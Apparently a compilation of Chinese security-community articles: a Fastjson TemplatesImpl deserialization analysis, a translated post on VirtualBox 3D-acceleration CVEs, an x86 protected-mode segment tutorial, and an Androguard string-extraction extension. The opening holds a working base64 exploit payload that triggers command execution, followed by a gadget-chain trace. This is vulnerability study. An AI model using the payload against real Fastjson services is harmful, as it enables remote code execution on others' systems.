WphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
## 浅析POC
POC中的利用链`TemplatesImpl`类的中的绝大多数成员变量是被`private`修饰，影响漏洞的主要是`_bytecodes` 和
`_outputProperties`
两个成员变量。因此在使用`JSON.parseObject`时需要传入`Feature.SupportNonPublicField`。
* `@type` ：反序列化的恶意目标类型`TemplatesImpl`，FastJson最终会按照这个类反序列化得到实例
* `_bytecodes`：继承`AbstractTranslet` 类的恶意类字节码，使用`Base64`编码。
* `_outputProperties`：`TemplatesImpl`反序列化过程中会调用`getOutputProperties` 方法，导致`bytecodes`字节码成功实例化，造成命令执行。
* `_name`：调用`getTransletInstance` 时会判断其是否为`null`，为`null`直接`return`，不会进入到恶意类的实例化过程；
* `_tfactory`：`defineTransletClasses` 中会调用其`getExternalExtensionsMap` 方法，为`null`会出现异常；
## 利用链流程分析
com.alibaba.fastjson.JSON#parseObject(java.lang.String,
com.alibaba.fastjson.parser.Feature...)
`parseObject`会还是会调用`parse`，一路跟还是到`parse`
com.alibaba.fastjson.JSON#parse(java.lang.String, int)
创建了类型为`DefaultJSONParser`的`parser`变量，跟进该类的创建
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.String,
com.alibaba.fastjson.parser.ParserConfig, int)
调用了另一个构造函数，并传入了`JSONScanner`类的实例用于词法解析。
com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object,
com.alibaba.fastjson.parser.JSONLexer,
com.alibaba.fastjson.parser.ParserConfig)
对JSON字符串的开头进行解析，发现是`{`开头，设置对应的`token`。
此时变量内容如下，继续跟进`parser.parse()`到关键点
com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)
这里会根据前面的初始化`lexer.token()`为`12`，进入了对应的`case`分支，调用`parseObject`
### @type字段
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)
`scanSymbol`函数从`JSON`文本中解析出`@type`键名
根据`@type`进入相对的分支，并使用`scanSymbol`函数解析出`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`键值
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String,
java.lang.ClassLoader)
调用`TypeUtils.loadClass`加载恶意利用类并存入`clazz`。
将`clazz`传入`config.getDeserializer`并继续跟进到关键位置。
com.alibaba.fastjson.util.JavaBeanInfo#build
通过反射获取类中的全部方法，此时的调用栈为：
build:130, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25
然后通过三个`for`循环筛选出符合条件的方法存入`fieldList`
筛选部分代码如下
满足条件的`setter`：
* 函数名长度大于`4`且以`set`开头
* 非静态函数
* 返回类型为`void`或当前类
* 参数个数为`1`个
满足条件的`getter`：
* 函数名长度大于等于`4`
* 非静态方法
* 以`get`开头且第`4`个字母为大写
* 无参数
* 返回值类型继承自`Collection`或`Map`或`AtomicBoolean`或`AtomicInteger`或`AtomicLong`
可以看到有三个符合条件，最后作为参数传入`JavaBeanInfo`类的实例。
执行并返回到上层，并进入关键的函数`deserializer.deserialze`
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser,
java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)
### _bytecodes字段
在解析处理`@type`字段的目标类后，通过`for`循环处理JSON文本中剩下的键值对，通过`scanSymbol`函数获取下个键名
最先获取到的是`_bytecodes`，作为参数传递`parseField`函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
这里调用函数`smartMatch`处理键名，跟踪该函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
将键名传入了`getFieldDeserializer`函数，跟踪该函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#getFieldDeserializer
会将键名和之前筛选的出的三个方法名称进行比较，`_bytecodes`不满足条件因此会返回`null`，并返回到`smartMatch`函数中
因为`fieldDeserializer`结果为`null`，会进入分支并去掉原键名中的`-`、删除开头的下划线等。
键名为`_bytecodes`时，处理后变为`bytecodes`，并再次调用`getFieldDeserializer`进行对比，但`bytecodes`依然会返回`null`。
再此分支创建对`DefaultFieldDeserializer`类型的`fieldDeserializer`进行赋值，并调用`fieldDeserializer.parseField`函数
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
然后调用`fieldValueDeserilizer.deserialze`函数对`_bytecodes`进行`base64`解码并赋值给`value`，这就是为什么POC中的`_bytecodes`包含的字节码需要`base64`编码。
com.alibaba.fastjson.parser.JSONScanner#bytesValue
`base64解码调用过程比较冗长，直接列出调用栈信息
decodeBase64:478, IOUtils (com.alibaba.fastjson.util)
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25
继续调用`setValue`
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object,
java.lang.Object)
将解码后的内容设置到对象中，此时的调用栈信息
setValue:137, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25
层层返回
执行到`deserialze:614, JavaBeanDeserializer
(com.alibaba.fastjson.parser.deserializer)`跳出当前循环，进入外部的下一次的`for`循环`deserialze:349,
JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)`
### _outputProperties字段
在大循环中`JSON`文本中的每个键值对都会进行分析处理，继续分析关键的`outputProperties`流程
deserialze:474, JavaBeanDeserializer
(com.alibaba.fastjson.parser.deserializer)
然后将键名`_outputProperties`传入`smartMatch`，下划线会被去掉变为`key2`，符合`sortedFieldDeserializers`中的三个元素，返回`fieldDeserializer`。
POC中键名为`outputProperties`也是可以的，`smartMatch(key)`就能返回`fieldDeserializer`，一路步进至`setValue`处。
这里会利用反射调用`outputProperties`的`get`方法`public synchronized java.util.Properties
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()`
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
首先对`_name`进行判断并不能为空，然后调用`defineTransletClasses`函数
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
使用了`loader.defineClass`加载了恶意对象的字节码，然后获取父类赋值到`superClass`，`superClass.getName().equals`父类是否为`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
返回到上层函数，`_class[_transletIndex].newInstance()`创建恶意对象实例。
java.lang.Class#newInstance
这里直接无参数实例化了，调用了恶意类的构造函数完成代码执行。
当前调用栈
newInstance:410, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25
# 参考
[https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/#Fastjson-TemplatesImpl-利用链](https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-利用链/#Fastjson-TemplatesImpl-利用链)
[https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/](https://www.mi1k7ea.com/2019/11/03/Fastjson系列一——反序列化漏洞基本原理/)
[https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/](https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/) | 社区文章 |
翻译自：<https://www.zerodayinitiative.com/blog/2018/8/28/virtualbox-3d-acceleration-an-accelerated-attack-surface>
翻译人：Agostop
[VirtualBox](https://www.virtualbox.org/) 是目前由Oracle
Corporation开发和维护的一个免费的虚拟机管理程序。虽然可能鲜为人知，但它是VMware WorkStation和Microsoft Hyper-V的直接竞争对手。VirtualBox
3D加速功能使用[Chromium库](http://chromium.sourceforge.net/)实现，我们从2017年7月开始接收它的漏洞。Oracle在他们的[文档](https://www.virtualbox.org/manual/ch04.html#guestadd-3d)中警告不要启用3D加速功能，因为这个功能可能会带来安全隐患并且暴露受攻击面。很少有人知道这个3D加速功能的实现代码很老，几乎可以追溯到2001年，是的，就是2001年。
在这篇博文中，我详细介绍了从2017年7月开始通过ZDI计划收到的不同类型的漏洞。我们收到的第一批漏洞是Vasily
Vasiliev发现的，从那以后，这一领域的研究蓬勃发展，我们开始在这个受攻击面上接收更多的漏洞。
## 漏洞：
注意，想要触发或利用漏洞，必须手动开启3D加速功能
由于Chromium允许OpenGL图形渲染，所以当启用3D加速功能时，OpenGL应用程序会发送渲染相关命令给运行着Chromium服务器的管理程序。当开启这个选项的时候，并不会生成任何警告或者对话框来提醒用户该选项的开启会暴露更大的受攻击面。
接下来的讨论展示了影响OpenGL渲染命令的不同漏洞。
## CVE-2018-2830：crUnpackExtendProgramParameters4fvNV中的整数溢出
这个经典的整数溢出漏洞存在crUnpackExtendProgramParameters4fvNV方法中，是由Vasily
Vasiliev最早发现的，来看具体代码：
用户可以控制num变量，通过发送给num特定的值，可以在位置[1]发生整数溢出，导致params被分配很小的空间。之后在位置[2],num被用在一个循环中，可以使变量params溢出。
### 补丁
Oracle在[1]处添加了大小检查以避免溢出，这个漏洞已在[Oracle4月份的补丁发布](http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html)中修复，并且被分配为CVE-2018-2830。有趣的是，这个漏洞同时被另外一个发现者Marche147发现，这表明多名研究人员正在研究OpenGL的受攻击面。[Alisa
Esage](https://www.zerodayinitiative.com/advisories/ZDI-18-686/)发现了一个具有相同攻击模式的非常相似的漏洞[ZDI-18-686](https://www.zerodayinitiative.com/advisories/ZDI-18-686/)，在[7月补丁发布](http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html)中修复。
## CVE-2018-2835：crStateTrackMatrixNV中的越界写
同样是由Vasily Vasiliev发现，但这个漏洞比前一个漏洞更严重，因为我们可以控制写入的地址和写入的值，漏洞的原理很简单：
在[1]处，变量address用来作为TrackMatrix阵列中元素的索引，在这种情况下，address是用户可控的，所以可以被用来做越界写入。
### 补丁
补丁在[1]处添加了额外的检查以确保地址不超过maxVertexProgramEnvParams。这个漏洞也在
[Oracle4月份的补丁发布](http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html)中修复，分配了CVE-2018-2835。
## CVE-2018-2686：crStatePixelMapuiv中基于堆栈的缓冲区溢出
欢迎回到90年代！这是在现代管理程序代码中你永远不会想到的一种基于堆栈的缓冲区溢出漏洞，是我最喜欢的漏洞类型之一，我们来看看代码：
用户控制了变量mapsize和数组values，之后在[1]位置，mapsize用于一个循环复制的操作中，最终导致了变量数组fvalues的溢出。
### 补丁
Oracle通过在函数的最开头（[1]位置）添加了对mapsize的大小检查来修补此漏洞，以确保fvalues之后不会再溢出。
该漏洞在[Oracle的2018年1月修补版本](http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html)中进行了修复，并分配了CVE-2018-2686。
## CVE-2018-2687：crServerDispatchDeleteProgramsARB中的整数溢出
这个漏洞也是被Vasily Vasiliev所发现。糟糕的是，这种漏洞模式在代码中出现了很多次，来看看代码：
由于变量n是用户可控的，可以在[1]处触发整数溢出，导致给变量pLocalprogs分配一个比较小的空间，之后在位置[2],n被用在一个复制循环中，从而可以使pLocalProgs也产生溢出。
### 补丁
和预期的一样，Oracle在[1]处添加了一个检查，以避免函数crAlloc中产生溢出。该漏洞在[Oracle的2018年1月修补版本](http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html)中进行了修补，并被分配了CVE-2018-2687。
这是能够触发这个漏洞的[PoC代码](https://www.thezdi.com/s/CVE-2018-2687_PoC.txt),在Ubuntu访客VMs下使用。
## 总结
重用旧代码来渲染OpenGL图形并不是最好的选择，尤其是当需要在虚拟机管理程序中使用时。凡事也要看到好的一面，如果使用者不考虑代码的过时和不安全性，对于代码审计人员来说也算是件好事。☺
你可以看我的Twitter[@AbdHariri](https://twitter.com/AbdHariri),关注我们[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。 | 社区文章 |
# 深耕保护模式
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 什么是保护模式
X86 CPU的3个工作模式：实模式、保护模式和虚拟8086模式。
现在的操作系统都是基于保护模式。
保护模式的两个重要机制：段的机制、页的机制。
## 段
### 段的机制
段的机制非常复杂，了解段机制就要先了解段寄存器。
**段寄存器**
汇编读写一个地址：
mov dword ptr ds:[0x123456],eax
读写的地址实际上是ds.Base+0x123456
段寄存器一共有八个：
ES CS SS DS FS GS LDTR TR
段寄存器的结构(一共96位)：
只有16位的可见部分：Selecter。
可以通过结构体表示为如下：
struct SegMent
{
WORD Selecter; //16位的可见部分
WORD Atrributes; //16位的属性
DWORD Base; //32位的Base(从什么地方开始)
DWORD Limit; //32位的Limit(长度)
}
段寄存器的读取：
mov ax,ds //只能读16位可见部分
段寄存器的写入：
mov ds,ax //写入是96位
段寄存器属性：
### 段描述符
这里涉及到两张表：GDT(全局描述符表)与 LDT(局部描述符表)。windows用的是GDT表，LDT表几乎没用。
当我们执行类似MOV DS,AX指令时，CPU会查表，根据AX的值来决定查找GDT还是LDT,查找表的什么位置，查出多少数据。
gdtr是一个寄存器，里面存的是gdt表的开始位置和大小。
查看gdt表开始位置：
r gdtr
查看gdt表的大小：
r gdtl
查看某个位置的数据(四个字节一组)：
dd 8003f000
gdt中存储的数据是段描述符，八个字节一组。
八个字节一组查询：
dq 8003f000
要想查询到更多的数据，命令：
dq 8003f000 L40
L后面是多少组。
段描述符结构：
前面四个字节(高八位)是图上面32位，后面四个字节(低八位)是图下面四个字节。
### 段选择子
段选择子是一个16位数，该数决定了取gdt表中查哪一个数据。这个值就是MOV DS,AX给的AX的值，从这个值中取赋值剩下的80位(96-16)。
* RPL：请求特权级别。
* TI：TI=0 查GDT表，TI=1 查LDT表。
* Index：处理器将索引值乘以8在加上GDT或者LDT的基地址，就是要加载的段描述符。
### 加载段描述符至段寄存器(其他几个汇编指令修改段寄存器)
除了MOV指令，我们还可以使用LES、LSS、LDS、LFS、LGS指令修改寄存器。
CS不能通过上述的指令进行修改，CS为代码段，CS的改变会导致EIP的改变，要改CS，必须要保证CS与EIP一起改。
char buffer[6];
__asm
{
les ecx,fword ptr ds:[buffer] //高2个字节给es，低四个字节给ecx
}
> 注意：RPL<=DPL(在数值上)
不会出现访问错误，可以运行的：
char buffer[6] = {0x00,0x26,0x00,0x00,0x00,0x00};
_asm
{
les ecx,fword ptr ds:[buffer]
}
### 段描述符属性——P位和G位
**P位**
* P = 1 段描述符有效
* P = 0 段描述符无效
通过指令将段描述符加载至段寄存器中，先检查P位，如果为0，那么该段描述符无效，其他检查都不做了。
**段描述符与段寄存器的对应关系**
* WORD Selector; //16位 对应段选择子，是mov ds，ax中的ax。
* WORD Atrribute; //16位 对应高四字节，第8位到23位
* DWORD Base; //32位 比较碎，由三部分组成：高四字节的24到31位，高四字节的0到7位和低四字节的16到31位
* DWORD Limit; //32位 高四字节的16到19位和低四字节的0到15位，这个Limit是最多20位，显然不是32位，实际上和G位有关。
**G位**
当G = 0 时，Limit的单位是字节，Limit界限最大为000FFFFF。
当G =
1时，Limit的单位是4kb，4kb实际上是4096个字节。地址是从0开始的，所以是4095，对应16进制为FFF，所以相当于Limit算成最大值是FFFFF(字节)，他的单位是FFF(字节)，实际上是FFFFFFFF,刚好8个F。
### 段描述符属性——S位 TYPE域
S位：
当S位为1时，是一个代码段的描述符，或者是一个数据段的描述符。
当S位为0时，是一个系统段的描述符。
> S位决定着type域的含义。
**如何直观的看出哪些是代码段或者数据段？**
观察这四位。
* 先看P位，P是代表着该段描述符是否有效，那么要想有效就必须是1。
* 再看S位，S要想代表数据段或者代码段也必须为1。
* 最后看DPL，DPL这两位只能是同为1或者同为0。
那么这四位如果转化成16进制，只能是9或者f。再看gdt表：
直接看高四字节的第五位是否是9或者f就行了，只有这两个数，这个段才有可能是数据段或者代码段。
**当s=1时，如何区分是代码段还是数据段呢？**
观察type域表：
* 当第11位为0的时候，该段为数据段。
* 当第11位为1的时候，该段为代码段。
所以还是观察gdt表，当高四字节的第6位大于或者等于8的时候，为代码段。当高四字节的第6位小于8的时候，为数据段。
**数据段描述符说明**
**当该段为数据段时，也就是11位为0时。**
type域除了第11位以外还有三位。
分别表示该段属性：
* A 访问位，表示该位最后一次被操作系统清零后，该段是否被访问过.每当处理器将该段选择符置入某个段寄存器时，就将该位置1.
* W 是否可写 可写：W=1
* E 扩展方向
关于扩展方向，当E=0时，向上扩展。当E=1时，向下扩展。
向上扩展时，段的有效范围是fs.Base+Limit。(图左)
向下扩展时，段的有效范围是除了fs.Base+LImit的范围。(图右)
**代码段描述符说明**
**当该段为代码段时，也就是11位为1时。**
* A 访问位
* R 可读位
* C 一致位
C = 1 一致代码段
C = 0 非一致代码段
(关于什么是一致代码段和非一致代码段参见代码间的跳转 )
**系统段描述符说明**
当S=0时，该段描述符为系统描述符.系统描述符有分为以下类型：
这里没有什么好区别的，主要是知道对应的含义，这里和什么调用门，中断门有关，后面再讲。
### 描述符属性——DB位
DB位对下列三种情况有影响：
情况一：对CS段的影响。
* D = 1 采用32位寻址方式
* D = 0 采用16位寻址方式
前缀67 改变寻址方式
情况二：对SS段的影响。
隐式对战访问指令是并不直接修改esp的值，通过压栈出栈等方式间接改变ESP的值。
* D = 1 隐式堆栈访问指令（如：PUSH POP CALL） 使用32位堆栈指针寄存器ESP
* D = 0 隐式堆栈访问指令（如：PUSH POP CALL） 使用16位堆栈指针寄存器SP
情况三：向下拓展的数据段。
* D = 1 段上线为4GB
* D = 0 段上线为64KB
### 段权限检查
CPU权限等级划分
**如何查看程序处于几环？(CPL)**
CPL(Current Privilege Level) ：当前特权级
CS和SS中存储的段选择子后2位.
比如拖入一个三环程序到OD，cs的段选择子实际上是0x001B，转化为2进制最后两位(CPL)是11，那么就是3，表明是一个三环程序。
通过windbg下断点去看cs段寄存器，发现他的段选择子是0x0008，转化为2进制最后两位(CPL)是00，那么就是0，表明是0环程序。
**DPL(Descriptor Privilege Level) 描述符特权级别**
DPL存储在段描述符中，规定了访问该段所需要的特权级别是什么.
通俗的理解：
如果你想访问我，那么你应该具备什么特权。
举例说明：
mov DS,AX
如果AX指向的段DPL = 0 但当前程序的CPL = 3 这行指令是不会成功的！
**RPL(Request Privilege Level) 请求特权级别**
RPL是针对段选择子而言的，每个段的选择子都有自己的RPL。
举例说明：
Mov ax,0x0008 与 Mov ax,0x000B //段选择子
Mov ds,ax Mov ds,ax //将段描述
指向的是同一个段描述符,但RPL是不一样的
**数据段权限检查举例**
参考如下代码：
比如当前程序处于0环，也就是说CPL=0
Mov ax,000B //1011 RPL = 3
Mov ds,ax //ax指向的段描述符的DPL = 0
数据段的权限检查：
CPL <= DPL 并且 RPL <= DPL (数值上的比较)
注意：
**代码段和系统段描述符中的检查方式并不一样,具体参考后面课程.**
## 总结
CPL CPU当前的权限级别
DPL 如果你想访问我，你应该具备什么样的权限
RPL 用什么权限去访问一个段 | 社区文章 |
来自i春秋作者：[penguin_wwy](http://bbs.ichunqiu.com/thread-11580-1-1.html?from=paper)
### 一、概述
上篇分析了Androguard如何读取dex，而且还提到Androguard很适合进行扩展或者移植成为自己项目的某一模块。
这篇文章就来研究一下如何在Androguard基础上进行扩展。
App对抗静态分析的方法之一就是利用反射，如果对反射的字符串进行加密会得到更好的效果，而且不但反射可以通过加密字符串，凡是动态注册、加载都可以通过加密字符串提高隐蔽性，对抗静态分析。
比如这样
localIntentFilter.addAction(Fegli.a("OBMpJw07KEgVPC1TLjoMPGIlNBcXOA4BKwQFMiIGGjUMGyUX:Y}MUbRLf{Y"));
或者这样
Object localObject2 = this.h.getString(Fegli.a("PS5CRyQ=:YK.&]$zqZl"), Fegli.a(":qO7sY!p@wN"));
下面我们就给Androguard补充一个功能，提取dex文件中经过加密的字符串
要提取dex文件中的加密字符串，主要两个步骤
1. 提取dex文件中的字符串池，获取全部字符串
2. 判断是否为加密字符串
### 二、提取
首先如何提取？上篇说道Androguard读取dex文件对各个item进行处理，处理逻辑在MapItem.next函数中看一下源码，找到跟字符串相关的Item，有两处
一个是StringIdItem
if TYPE_MAP_ITEM[ self.type ] == "TYPE_STRING_ID_ITEM":
self.item = [ StringIdItem( buff, cm ) for i in xrange(0, self.size) ]
主要记录String的偏移
class StringIdItem(object):
"""
This class can parse a string_id_item of a dex file
:param buff: a string which represents a Buff object of the string_id_item
:type buff: Buff object
:param cm: a ClassManager object
:type cm: :class:`ClassManager`
"""
def __init__(self, buff, cm):
self.__CM = cm
self.offset = buff.get_idx()
self.string_data_off = unpack("=I", buff.read(4))[0]
一个是StringDataItem
elif TYPE_MAP_ITEM[ self.type ] == "TYPE_STRING_DATA_ITEM":
self.item = [ StringDataItem( buff, cm ) for i in xrange(0, self.size) ]
看看代码
class StringDataItem(object):
"""
This class can parse a string_data_item of a dex file
:param buff: a string which represents a Buff object of the string_data_item
:type buff: Buff object
:param cm: a ClassManager object
:type cm: :class:`ClassManager`
"""
def __init__(self, buff, cm):
self.__CM = cm
self.offset = buff.get_idx()
self.utf16_size = readuleb128( buff )
self.data = utf8_to_string(buff, self.utf16_size) #重点，保存String data
expected = buff.read(1)
if expected != '\x00':
warning('\x00 expected at offset: %x, found: %x' % (buff.get_idx(), expected))
重点在self.data，通过utf8_to_string函数将字节码转换为字符串。
我们知道了每个字符串保存在每个StringDataItem.data中，那我们如何获得它们呢。回到next函数，MapItem.Item保存所有StringDataItem组成的列表
for i in xrange(0, self.size):
idx = buff.get_idx()
mi = MapItem( buff, self.CM )
self.map_item.append( mi )
buff.set_idx( idx + mi.get_length() )
c_item = mi.get_item()
if c_item == None:
mi.set_item( self )
c_item = mi.get_item()
self.CM.add_type_item( TYPE_MAP_ITEM[ mi.get_type() ], mi, c_item )
而这个MapItem会被加入到MapList.map_item这个队列以及self.CM中，当然加入到ClassManager中的过程更复杂。如果从map_item中获取到字符串，需要首先找到处理StringDataItem的mi，然后遍历map_item中的所有MapItem对象，依次拿到MapItem.data，这无疑很复杂。那就让我们把目光放到ClassManager上，看看add_type_item
def add_type_item(self, type_item, c_item, item):
self.__manage_item[ type_item ] = item
self.__obj_offset[ c_item.get_off() ] = c_item
self.__item_offset[ c_item.get_offset() ] = item
sdi = False
if type_item == "TYPE_STRING_DATA_ITEM":
sdi = True
#当处理StringDataItem时
if item != None:
if isinstance(item, list): #条件为真
for i in item: #i为StringDataItem对象
goff = i.offset #每个String再dex文件中的偏移
self.__manage_item_off.append( goff )
self.__obj_offset[ i.get_off() ] = i
if sdi == True:
self.__strings_off[ goff ] = i #字典中保存StringDataItem
else:
self.__manage_item_off.append( c_item.get_offset() )
咦，似乎有了意外的发现，当处理到StringDataItem时，会设置一个标志位。当标志位为真时，self.__strings_off这个字典才会保存数据，也就是StringDataItem相关的数据。
我们来仔细研究一下这段代码，先理解参数。type_item表示Item的类型，c_item则是mi = MapItem( buff, self.CM
)的mi，也就是一个完整的MapItem对象。参数中的item则是mi.get_item(
)，也就是MapItem.item。所以当type为StringDataItem时item就是保存StringDataItem对象的列表。
整理一下思路，现在的情况是我们可以从ClassManager中的
**strings_off字典根据偏移得到每个StringDataItem。但是悲催的是ClassManager当中并没有获得**
strings_off的方法，我们只能自己先加一个
def get__strings_off(self):
return self.__strings_off
只要遍历__strings_off，拿到每个Item，获取data就可以得到字符串了。 类似如下处理
soff = vm.get_class_manager().get__strings_off()
str_list = []
for i in soff:
str_list.append(soff.get_data())
str_list就会保存dex文件中的所有字符串了。
### 三、判断加密字符串
得到所有字符串之后，我们就依次判断它是否是加密字符串。如何判断呢？公司倒是有一个判断随机字符串的工具（也就是人类无法识别的字符串），但毕竟是公司的东西，为也没有源码。搞一个字典太费劲，而且字典越大也会影响运行时间。我暂时想了一个办法来判断随机字符串。
首先，先弄个小字典，大概十几二十个有关单词（果然是小字典。。。。），先用小字典过滤一下。对于剩下的字符串，将字符分为大写英文，小写英文，和其他字符（除 \
/ . ; 以及空格）。对于一般有意义的字符串，ASCII
相对集中，以大写或小写为主。比如ACCESS_CHECKIN_PROPERTIES这是权限，Landroid/os/Debug这是类名。而加密后的字符串ASCII分布就会相对随机比如KS9FRUc6HgxFByUhQ1A=:MN1$gNqcet，这三种字符或者其中两种的字符数量相差就不会太大。我们可以统计一个字符串中三种字符的数量，如果其中两种或三种数量相对接近，就认为是随机字符
def flag(s, long):
if s[0] > (0.25 * long) and s[2] < (0.35 * long):
return True
if s[0] < (0.25 * long) and (s[2] - s[1]) < (0.1 * long):
return True
class randStr:
def __init__(self, data):
self.data = data
self.count = len(data)
self.lowCount = 0
self.upCount = 0
self.othCount = 0
self.isRand = False
def analyze(self):
for i in self.data:
if i in r'\/ .;':
continue
elif i >= 'a' and i <= 'z':
self.lowCount += 1
elif i >= 'A' and i <= 'Z':
self.upCount += 1
else:
self.othCount += 1
for i in d:
if i in self.data:
return False
if self.count < 5:
return False
elif self.othCount == 0 or self.lowCount == 0 or self.upCount == 0:
return False
else:
s = [self.lowCount, self.upCount, self.othCount]
s.sort()
self.isRand = flag(s, self.count)
return self.isRand
这是我写的代码，以供参考。
### 四、测试
将模块代码补充完整，我们来测试一波 准备两个dex文件，一个有加密字符串，一个没有，将加密字符串输出到屏幕 先测试未加密的dex文件
